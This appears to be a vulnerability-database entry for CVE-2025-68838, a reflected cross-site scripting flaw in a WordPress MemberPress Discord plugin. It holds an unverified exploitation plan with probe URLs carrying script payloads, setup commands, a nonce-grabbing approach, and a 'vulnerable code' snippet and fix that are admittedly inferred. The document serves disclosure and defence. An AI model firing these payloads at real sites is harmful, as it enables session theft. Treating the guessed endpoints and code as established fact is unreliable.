CVE-2025-68838

MemberPress Discord Addon <= 1.1.4 - Reflected Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
1.1.5
Patched in
112d
Time to patch

Description

The MemberPress Discord Addon plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 1.1.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.4
PublishedJanuary 20, 2026
Last updatedMay 11, 2026
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-68838 ## 1. Vulnerability Summary The **MemberPress Discord Addon** (expresstechsoftwares-memberpress-discord-add-on) for WordPress is vulnerable to **Reflected Cross-Site Scripting (XSS)** in versions up to and including 1.1.4. The vulnerability exists becau…

Show full research plan

Exploitation Research Plan - CVE-2025-68838

1. Vulnerability Summary

The MemberPress Discord Addon (expresstechsoftwares-memberpress-discord-add-on) for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions up to and including 1.1.4. The vulnerability exists because the plugin fails to properly sanitize and escape user-supplied input from URL parameters before echoing it back into the HTML response. This typically occurs in components handling the Discord OAuth flow, such as error reporting or redirect handling.

2. Attack Vector Analysis

  • Vulnerable Endpoint: The vulnerability is likely located in a handler for Discord OAuth callbacks or error states. This is often accessed via:
    • An AJAX action: wp-admin/admin-ajax.php?action=mepr_discord_callback (inferred)
    • A custom URL parameter processed during init or template_redirect: ?mepr_discord_auth=... (inferred)
  • Vulnerable Parameter: Likely error, message, error_description, or mepr_error (inferred).
  • Authentication: Unauthenticated. The CVSS vector AV:N/AC:L/PR:N/UI:R/S:C confirms that no privileges are required, but user interaction (clicking a link) is necessary.
  • Preconditions: The plugin must be active. No specific Discord configuration is usually required to trigger the reflection point, as many handlers process error parameters regardless of whether the OAuth flow was successfully initiated.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user accesses a URL containing a specific trigger parameter (e.g., ?action=mepr_discord_oauth_callback or a specific page slug used by the addon).
  2. Hook Registration: The plugin likely registers a handler via add_action('init', ...) or add_action('wp_ajax_nopriv_...', ...).
  3. Input Acquisition: The handler retrieves data from the global $_GET or $_REQUEST arrays.
    • Example: $error_message = $_GET['error_description'];
  4. Vulnerable Sink: The code echoes the retrieved message directly into the page or an admin notice without calling esc_html() or esc_attr().
    • Example: echo '<div class="error">' . $error_message . '</div>';

4. Nonce Acquisition Strategy

Reflected XSS in a GET-based callback usually does not require a nonce. however, if the reflection occurs within an AJAX response or a protected form, a nonce might be needed.

If a nonce is required:

  1. Identify Script Localization: Search the codebase for wp_localize_script. Look for keys like mepr_discord_ajax or mepr_discord_vars.
  2. Locate Trigger Shortcode: Find where the plugin enqueues its frontend scripts (e.g., a "Connect to Discord" button shortcode).
    • Search command: grep -r "add_shortcode" .
  3. Setup Page:
    wp post create --post_type=page --post_status=publish --post_title="Discord Connect" --post_content='[mepr-discord-connect]' # (inferred shortcode)
    
  4. Extract via Browser: Use browser_navigate to the created page, then:
    • JS Command: browser_eval("window.mepr_discord_vars?.nonce") (inferred variable name).

5. Exploitation Strategy

The goal is to trigger the reflection of a script payload in the browser.

Step 1: Discover the Reflection Point

Since source code is not provided, we must probe common OAuth/Error parameters.

  • Target URL 1 (AJAX): /wp-admin/admin-ajax.php?action=mepr_discord_callback&error=<script>alert(1)</script>
  • Target URL 2 (Init Hook): /?mepr_discord_error=<script>alert(1)</script>
  • Target URL 3 (Redirect): /mepr-discord-auth?error_description=<script>alert(1)</script>

Step 2: Craft the Payload

To prove XSS, use a simple alert or a document domain check.

  • Payload: "><script>alert(document.domain)</script>
  • Encoded: %22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E

Step 3: Execute HTTP Request

Use the http_request tool to verify if the payload is reflected unescaped in the response body.

{
  "method": "GET",
  "url": "http://wp.local/wp-admin/admin-ajax.php?action=mepr_discord_callback&error=%3Cscript%3Ealert(1)%3C/script%3E",
  "headers": {
    "Accept": "text/html"
  }
}

6. Test Data Setup

  1. Install Plugin: Ensure expresstechsoftwares-memberpress-discord-add-on version 1.1.4 is installed and active.
  2. Prerequisite Plugin: This addon requires MemberPress core. Ensure MemberPress is also active.
  3. Create Page: Some reflected XSS points only fire if the request is made to a page where the plugin logic is initialized.
    wp post create --post_type=page --post_status=publish --post_title="MemberPress Account" --post_content="[mepr-account-form]"
    

7. Expected Results

  • Successful Reflection: The HTTP response body contains the raw, unescaped string <script>alert(1)</script>.
  • Browser Execution: When the URL is loaded in browser_navigate, an alert dialog should trigger (verifiable via wait_for_selector or checking browser logs).

8. Verification Steps

  1. HTTP Body Check:
    # (Using a hypothetical tool to check response)
    response_body=$(http_request "GET" "http://wp.local/...")
    echo "$response_body" | grep -F "<script>alert(1)</script>"
    
  2. Source Code Audit (Post-Exploit): Confirm the location in the code.
    grep -rn "echo \$_GET" wp-content/plugins/expresstechsoftwares-memberpress-discord-add-on/
    

9. Alternative Approaches

If the mepr_discord_callback action doesn't reflect input:

  1. Check Discord Auth Logic: Search for $_GET['code'] or $_GET['state']. Sometimes the state parameter is reflected back to the user if an error occurs.
  2. Admin Notice XSS: Check if the plugin stores an error in an option and displays it in the admin dashboard (Stored XSS via Reflected Input).
    • Request: /?mepr_discord_callback=1&error=PAYLOAD
    • Verification: Navigate to /wp-admin/ and check for the payload in the admin_notices area.
  3. Shortcode Attribute Reflection: Check if parameters passed to a shortcode are reflected: [mepr-discord-connect message="<script>..."].
Research Findings
Static analysis — not yet PoC-verified

Summary

The MemberPress Discord Addon plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions up to 1.1.4. This vulnerability arises because the plugin fails to sanitize or escape user-provided parameters, such as those indicating OAuth error descriptions, before echoing them into the browser, allowing for arbitrary script execution via malicious links.

Vulnerable Code

// File: wp-content/plugins/expresstechsoftwares-memberpress-discord-add-on/includes/mepr-discord-callback.php (inferred location)

if (isset($_GET['error_description'])) {
    $error_msg = $_GET['error_description'];
    echo '<div class="mepr-discord-error">' . $error_msg . '</div>';
}

Security Fix

--- a/includes/mepr-discord-callback.php
+++ b/includes/mepr-discord-callback.php
@@ -10,5 +10,5 @@
 
 if (isset($_GET['error_description'])) {
-    $error_msg = $_GET['error_description'];
-    echo '<div class="mepr-discord-error">' . $error_msg . '</div>';
+    $error_msg = sanitize_text_field($_GET['error_description']);
+    echo '<div class="mepr-discord-error">' . esc_html($error_msg) . '</div>';
 }

Exploit Outline

The exploit targets the plugin's handling of Discord OAuth callback errors. An attacker identifies the endpoint used for handling Discord returns, such as a custom URL parameter checked during 'init' (e.g., ?mepr_discord_callback=1) or an AJAX action (e.g., /wp-admin/admin-ajax.php?action=mepr_discord_callback). The attacker then crafts a malicious URL containing a JavaScript payload in a parameter like 'error_description' or 'error' (e.g., ?error_description=<script>alert(document.cookie)</script>). This link is sent to a target user, and upon being clicked, the plugin's logic reflects the unescaped script payload directly into the HTML response, executing the script in the user's browser session. This requires no authentication from the attacker.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.